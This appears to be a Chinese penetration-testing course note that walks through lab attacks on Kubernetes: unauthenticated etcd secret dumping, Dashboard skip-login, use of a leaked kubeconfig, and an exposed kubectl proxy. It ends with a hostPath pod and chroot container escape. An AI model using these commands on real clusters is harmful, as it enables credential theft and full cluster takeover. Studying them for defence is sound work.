Day98:云上攻防-云原生篇K8s安全Config泄漏Etcd存储Dashboard鉴权Proxy暴露
目录
云原生-K8s安全-etcd(Master-数据库)未授权访问
etcdV2版本利用
etcdV3版本利用
云原生-K8s安全-Dashboard(Master-web面板)未授权访问
云原生-K8s安全-Configfile鉴权文件泄漏
云原生-K8s安全-Kubectl Proxy不安全配置
知识点:1、云原生-K8s安全-etcd未授权访问
2、云原生-K8s安全-Dashboard未授权访问
3、云原生-K8s安全-Configfile鉴权文件泄漏
4、云原生-K8s安全-Kubectl Proxy不安全配置
云原生-K8s安全-etcd(Master-数据库)未授权访问
实战中不会常见,利用条件比较苛刻。
默认通过证书认证,起一个数据库作用。主要存放节点的数据,如一些token和证书。
攻击23791端口

配置映射:
/etc/kubernetes/manifests/etcd.yaml

第一种(满足):在安装etcd时,没有配置指定--client-cert-auth 参数打开证书校验,暴露在外Etcd服务存在未授权访问风险。暴露外部可以访问,直接未授权访问获取secrets和token利用

重启kubelet进程
systemctl restart kubelet

第二种:在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert(证书)进行认证访问,一般配合ssrf或其他利用,较为鸡肋。只能本地访问,直接未授权访问获取secrets和token利用
第三种(满足):实战中在安装k8s默认的配置2379只会监听本地(127.0.0.1),如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。只能本地访问,利用ssrf或其他进行获取secrets和token利用
复现搭建
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
复现利用:etcdV2/V3版本利用参考:
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
https://www.wangan.com/p/7fy7f81f02d9563a
暴露etcd未授权->获取secrets&token->通过token访问API-Server接管
etcdV2版本利用
直接访问http://ip:2379/v2/keys/?recursive=true ,可以看到所有的key-value值。(secrets token)

etcdV3版本利用
安装etcdctl:https://github.com/etcd-io/etcd/releases
安装kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux
1、连接提交测试
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix

./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"

./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey2 "Hello world2"
./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey3 "Hello world3"
2、获取k8s的secrets
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/
3、读取service account token
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z
4、通过token访问API-Server,获取集群的权限
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods
SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管
云原生-K8s安全-Dashboard(Master-web面板)未授权访问
默认端口:8001(一般会被映射成别的端口)
配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。
kubernetes dashboard的未授权其实分两种情况:
- 一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。
- 另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。
复现利用
前提条件:
- 用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard
- Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)
1、安装
https://blog.csdn.net/justlpf/article/details/130718774
2、启动
kubectl create -f recommended.yaml





3、卸载
kubectl delete -f recommended.yaml
4、查看状态
kubectl get pod,svc -n kubernetes-dashboard
5、利用:新增Pod后续同前面利用一致
apiVersion: v1
kind: Pod
metadata:name: xiaodisec
spec:containers:- image: nginxname: xiaodisecvolumeMounts:- mountPath: /mntname: test-volumevolumes:- name: test-volumehostPath:path: /




找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸
云原生-K8s安全-Configfile鉴权文件泄漏
攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。
K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。
如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存
在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:
- 如果提供了--kubeconfig参数,就使用提供的kubeconfig文件
- 如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件
- 如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件~/.kube/config



复现利用:K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸
1、将获取到的config复制
2、安装kubectl使用config连接
安装kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux
连接:
kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes



3、上传利用test.yaml创建pod
kubectl apply -f test.yaml -n default --kubeconfig=config



4、连接pod后进行容器挂载逃逸
kubectl exec -it xiaodisec bash -n default --kubeconfig=config

cd /mnt
chroot . bash

云原生-K8s安全-Kubectl Proxy不安全配置
当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上

环境搭建
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009


复现利用:类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
找到暴露入口点,根据类型选择合适方案
kubectl -s http://192.168.139.130:8009 get pods -n kube-system

相关文章:
Day98:云上攻防-云原生篇K8s安全Config泄漏Etcd存储Dashboard鉴权Proxy暴露
目录 云原生-K8s安全-etcd(Master-数据库)未授权访问 etcdV2版本利用 etcdV3版本利用 云原生-K8s安全-Dashboard(Master-web面板)未授权访问 云原生-K8s安全-Configfile鉴权文件泄漏 云原生-K8s安全-Kubectl Proxy不安全配置 知识点: 1、云原生-K8s安全-etcd未…...
JUC下面常见的锁
这里写目录标题 1、ReentrantLock2、Semaphore3、CountDownLatch4、CyclicBarrier 1、ReentrantLock ReentrantLock 是属于独占模式, 即同一时刻只允许一个线程获取锁。 2、Semaphore Semaphore 属于共享模式,synchronized 和 ReentrantLock 都是一次只…...
Uniapp+基于百度智能云完成AI视觉功能(附前端思路)
本博客使用uniapp百度智能云图像大模型中的AI视觉API(本文以物体检测为例)完成了一个简单的图像识别页面,调用百度智能云API可以实现快速训练模型并且部署的效果。 uniapp百度智能云AI视觉页面实现 先上效果图实现过程百度智能云Easy DL训练图…...
Android 软件盘的弹出和消失的监听
监听接口 OnKeyboardListener.java public interface OnKeyboardListener {void onKeyboardHidden();void onKeyboardShow(int keyboardHeight);} KeyBoardUtil.java public class KeyBoardUtil {private final static String TAG "KeyBoardUtil";public PopupWi…...
通俗易懂HTTP和HTTPS区别
HTTP:超文本传输协议,它是使用一种明文的方式发送我们的内容,没有任何的加密,例如我们要在网页上输入账号密码,如果使用HTTP协议,账号密码就可能会被暴露,默认端口是80. HTTPS:是HT…...
【ZZULIOJ】1061: 顺序输出各位数字(Java)
目录 题目描述 输入 输出 样例输入 Copy 样例输出 Copy 提示 code 题目描述 输入一个不大于10的9次方的正整数,从高位开始逐位分割并输出各位数字。 输入 输入一个正整数n,n是int型数据 输出 依次输出各位上的数字,每一个数字后面有一个空格…...
java数据结构与算法刷题-----LeetCode260. 只出现一次的数字 III
java数据结构与算法刷题目录(剑指Offer、LeetCode、ACM)-----主目录-----持续更新(进不去说明我没写完):https://blog.csdn.net/grd_java/article/details/123063846 文章目录 与运算取末尾1分组 与运算取末尾1分组 解题思路:时间…...
AWS被误扣费了,怎么解决?
有时在使用aws时,可能会无意中被AWS扣费,对于如何处理这个问题,作为aws的合作伙伴,接下来由九河云进行讲解: (1)审查账单:首先,您需要仔细审查AWS账单,了解具…...
再传IPO消息,SHEIN的上市为何充满变数?
据《金融时报》援引消息人士报道,SHEIN正在等待北京监管部门的批准,以推进在纽约或伦敦的重磅上市。 几乎每隔一段时间,SHEIN即将上市的消息就会成为媒体关注的焦点,但每一次报道都“没有下文”,再加上SHEIN官方的“拒…...
maven bom
BOM(Bill of Materials)是由Maven提供的功能,它通过定义一整套相互兼容的jar包版本集合,使用时只需要依赖该BOM文件,即可放心的使用需要的依赖jar包,且无需再指定版本号。BOM的维护方负责版本升级,并保证BOM中定义的jar包版本之间的兼容性。 为什么要使用BOM 使用BOM除…...
若依vue中关于字典的使用
文章目录 字典管理页面列表点击某个字典类型展示具体字典数据修改某一条字典数据 字典的应用一般用于select多选框中代码实现根据字典Dict的value获取Label,类似于通过key获得value 源码解析 字典管理页面 列表 点击某个字典类型展示具体字典数据 修改某一条字典数…...
链表题(哑结点的使用)
给定一个链表,删除链表的倒数第 n 个结点,并且返回链表的头结点。 首先面对删除链表节点的操作,我们通常是将该节点的上一个节点的next指向该节点的下一个节点,从而将这个节点置空,达到删除节点的操作。 但是我们会碰…...
C#:求三个整数的最大值
任务描述 本关任务:编写一个程序,实现从键盘输入的三个整数,输出三个整数的最大值。 编程要求 根据提示,在右侧编辑器补充代码,计算并输出从键盘输入的三个数的最大值。 测试说明 平台会对你编写的代码进行测试&…...
广州南沙番禺联想SR530服务器主板传感器故障维修
今日分享一例广州市南沙区联想ThinkSystem SR530服务器sensor sysbrd vol故障问题维修案例; 服务器型号是:Lenovo thinksystem sr530 g6服务器 服务器所在位置:广东省广州市南沙区 服务器故障问题:机房异常停电,来电后…...
深入探索自然语言处理:用Python和BERT构建文本分类模型
在当今的信息时代,自然语言处理(NLP)技术正在改变我们理解和处理自然语言的方式。NLP使计算机能够解读、理解和生成人类语言,从而在多种应用中实现自动化,如聊天机器人、情感分析和文本分类。本文将详细介绍如何使用Py…...
在Visual Studio Code中编辑React项目时,以下是一些推荐的扩展
ESLint:这个扩展可以集成ESLint到VS Code中,帮助你在编写代码时发现和修复JavaScript和TypeScript的语法错误和代码风格问题。 Prettier - Code formatter:Prettier是一个代码格式化工具,可以自动格式化你的代码以保持一致的代码…...
智算时代的基础设施如何实现可继承可演进?浪潮云海发布 InCloud OS V8 新一代架构平台
从 2023 年开始持续火爆的 AIGC 正在加速落地应用,为全行业带来生产生活效率的变革与升级。面对数字化转型与智能化转型,对于技术团队来说,既要根据业务与 AI 应用去部署以云为基础的 AI 算力,又要与已有数据和系统(甚…...
LDF、DBC、BIN、HEX、S19、BLF、ARXML、slx等
文章目录 如题 如题 LDF是LIN报文格式文件,把这个直接拖到软件里面,可以发报文和接收报文 DBC是CAN报文格式文件,把这个直接拖到软件里面,可以发报文和接收报文 BIN文件烧录在BOOT里面(stm32),…...
因为使用ArrayList.removeAll(List list)导致的机器重启
背景 先说一下背景,博主所在的业务组有一个核心系统,需要同步两个不同数据源给过来的数据到redis中,但是每次同步之前需要过滤掉一部分数据,只存储剩下的数据。每次同步的数据与需要过滤掉的数据量级大概在0-100w的数据不等。 由…...
Let‘s Encrypt
创建文件夹 mkdir /usr/local/develop/ 安装Certbot客户端 yum install certbot 首先确保example.com和www.example.com这两个域名通过DNS解析绑定了你的web 服务器的公网 IP 就是说先要完成域名解析到服务器 下面命令会验证 /var/www/example 他会将一些命令文件存在…...
SciencePlots——绘制论文中的图片
文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了:一行…...
Cinnamon修改面板小工具图标
Cinnamon开始菜单-CSDN博客 设置模块都是做好的,比GNOME简单得多! 在 applet.js 里增加 const Settings imports.ui.settings;this.settings new Settings.AppletSettings(this, HTYMenusonichy, instance_id); this.settings.bind(menu-icon, menu…...
python爬虫:Newspaper3k 的详细使用(好用的新闻网站文章抓取和解析的Python库)
更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、Newspaper3k 概述1.1 Newspaper3k 介绍1.2 主要功能1.3 典型应用场景1.4 安装二、基本用法2.2 提取单篇文章的内容2.2 处理多篇文档三、高级选项3.1 自定义配置3.2 分析文章情感四、实战案例4.1 构建新闻摘要聚合器…...
数据库分批入库
今天在工作中,遇到一个问题,就是分批查询的时候,由于批次过大导致出现了一些问题,一下是问题描述和解决方案: 示例: // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...
OpenLayers 分屏对比(地图联动)
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 地图分屏对比在WebGIS开发中是很常见的功能,和卷帘图层不一样的是,分屏对比是在各个地图中添加相同或者不同的图层进行对比查看。…...
重启Eureka集群中的节点,对已经注册的服务有什么影响
先看答案,如果正确地操作,重启Eureka集群中的节点,对已经注册的服务影响非常小,甚至可以做到无感知。 但如果操作不当,可能会引发短暂的服务发现问题。 下面我们从Eureka的核心工作原理来详细分析这个问题。 Eureka的…...
elementUI点击浏览table所选行数据查看文档
项目场景: table按照要求特定的数据变成按钮可以点击 解决方案: <el-table-columnprop"mlname"label"名称"align"center"width"180"><template slot-scope"scope"><el-buttonv-if&qu…...
Python 训练营打卡 Day 47
注意力热力图可视化 在day 46代码的基础上,对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...
鸿蒙(HarmonyOS5)实现跳一跳小游戏
下面我将介绍如何使用鸿蒙的ArkUI框架,实现一个简单的跳一跳小游戏。 1. 项目结构 src/main/ets/ ├── MainAbility │ ├── pages │ │ ├── Index.ets // 主页面 │ │ └── GamePage.ets // 游戏页面 │ └── model │ …...
sshd代码修改banner
sshd服务连接之后会收到字符串: SSH-2.0-OpenSSH_9.5 容易被hacker识别此服务为sshd服务。 是否可以通过修改此banner达到让人无法识别此服务的目的呢? 不能。因为这是写的SSH的协议中的。 也就是协议规定了banner必须这么写。 SSH- 开头,…...
